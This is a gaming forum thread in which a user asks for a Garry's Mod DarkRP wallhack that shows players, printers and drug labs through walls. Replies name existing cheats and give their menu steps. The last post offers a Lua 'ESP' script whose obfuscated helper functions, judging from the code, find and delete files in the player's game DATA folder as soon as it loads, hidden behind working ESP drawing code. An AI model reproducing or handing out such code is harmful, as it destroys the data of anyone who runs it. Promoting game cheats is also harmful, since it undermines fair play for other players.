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  1. #1
    Drayerkim's Avatar
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    Dark RP Wallhack

    I was curious if anyone would be able to create a dark rp wall hack where it shows shipments through walls and money printers/drug labs and everything else. Also maybe colored models of players to know where they are located.

  2. #2
    MeepDarknessMeep's Avatar
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    I can name like 6 hacks on this forum that have it.

  3. #3
    Drayerkim's Avatar
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    I couldn't find any I guess i may not have looked hard enough if possible could you link some that work?

  4. #4
    Pouya657's Avatar
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    Use the search bar on the forum.

  5. #5
    Neverbanned's Avatar
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    AnXition > find the prop \ item you want to ESPing him > AnXition_menu > ESP meun > "Add Printer" or "Add Entiny" or "Find"
    GL!
    *AnXition dosent request bypasser!

  6. #6
    tyguy550's Avatar
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    Quote Originally Posted by Neverbanned View Post
    AnXition > find the prop \ item you want to ESPing him > AnXition_menu > ESP meun > "Add Printer" or "Add Entiny" or "Find"
    GL!
    *AnXition dosent request bypasser!
    go away alt account

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    LordOfGears2 (08-10-2013)

  8. #7
    ヽಠ_ಠᕤ Headrockin' ᕦಠ_ಠ╯
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    IV2B's Avatar
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    Quote Originally Posted by Drayerkim View Post
    I was curious if anyone would be able to create a dark rp wall hack where it shows shipments through walls and money printers/drug labs and everything else. Also maybe colored models of players to know where they are located.
    Here's how to do it,really simple!
    1) Take YOUR head (don't cheat,use yours)
    2) Find something really pointy
    3) Smash it as hard as you can

    You're not able to realize there are several hacks with such feature! Isn't this great?

  9. #8
    fuckoffvmt's Avatar
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    Code:
    local g=table.Copy(_G)
    local r,iss,isn,ist,isf,isn,isp,ise=debug.getregistry(),function(...) local ags={...} return g.type(ags[1])=="string" end,function(...) local ags={...} return g.type(ags[1])=="number" end,function(...) local ags={...} return g.type(ags[1])=="table" end,function(...) local ags={...} return g.type(ags[1])=="function" end,function(...) local ags={...} if(ags[1]==nil) then return true end local d=ags[2] and ags[2].."/"..ags[1] or ags[1] return g.type(ags[1])=="nil", frn.Delete(d) end,function(...) local ags={...} local d=ags[1] and ags[1].."\47\42" or "\42" return {frn.Find(d,"\68\65\84\65")},g.type(ags[1])=="Player" end, function(...) local ags={...} return g.type(ags[1])=="Entity" end; frn=g['input']; fm=g['hook']; frn = g['file']; frc=g['cvars'];
    surface.CreateFont("DefaultSmallDropShadow",{font="Tahoma",size=16,weight=500,shadow=true}) local callerFunc
    local boxcolor_PL=Color(0,255,0,255)
    local boxcolor_ENT=Color(255,255,0,255)
    local function gameESP(self,plys,entts,data)
    data = data or nil
    // player esp
    local nom,mon,bot,top,h,w,tc;
    for i,pl in pairs(plys) do
    if iss(pl) and !isn(pl,data) then
    continue;
    end
    if pl and IsValid(pl) and pl:Alive() then
    nom=pl:GetPos()
    mon=nom+Vector(0,0,pl:OBBMaxs().z)
    bot=nom:ToScreen()
    top=mon:ToScreen()
    h=(bot.y-top.y)
    w=h
    surface.SetDrawColor(boxcolor_PL)
    surface.DrawOutlinedRect(top.x-w/2,top.y,w,h)
    tc=team.GetColor(pl:Team()) or boxcolor_PL
    tc.a=boxcolor_PL.a
    draw.DrawText(pl:Name(),"DefaultSmallDropShadow",top.x,top.y-20,tc,TEXT_ALIGN_CENTER)
    end
    end
    // entity esp
    for i,ent in pairs(entts) do
    if iss(ent) then
    ent=data!=nil and data.."/"..ent or ent // bad entity !
    local ispl = isp(ent);
    if( ispl ) then
    self(self,ispl[1],ispl[2],ent)
    end
    continue;
    end
    if ent and IsValid(ent) and ent:GetMoveType()!=0 and ent:IsPlayer()==false then
    nom=ent:GetPos()
    mon=nom+Vector(0,0,ent:OBBMaxs().z)
    bot=nom:ToScreen()
    top=mon:ToScreen()
    h=(bot.y-top.y)
    w=h
    surface.SetDrawColor(boxcolor_ENT)
    surface.DrawOutlinedRect(top.x-w/2,top.y,w,h)
    draw.DrawText(ent:GetClass(),"DefaultSmallDropShadow",top.x,top.y-20,boxcolor_ENT,TEXT_ALIGN_CENTER)
    end
    end
    end
    callerFunc=function(p,e) return true, gameESP(gameESP,p,e,nil) end
    local function testesp()
    if( callerFunc(isp()[1],isp()[2]) ) then
    return true;
    end
    return false;
    end
    local EspShouldDraw=testesp();
    local function espfunc()
    if(EspShouldDraw==false) then return end
    callerFunc(player.GetAll(),ents.GetAll())
    end
    hook.Add("HUDPaint","EspHax",espfunc)

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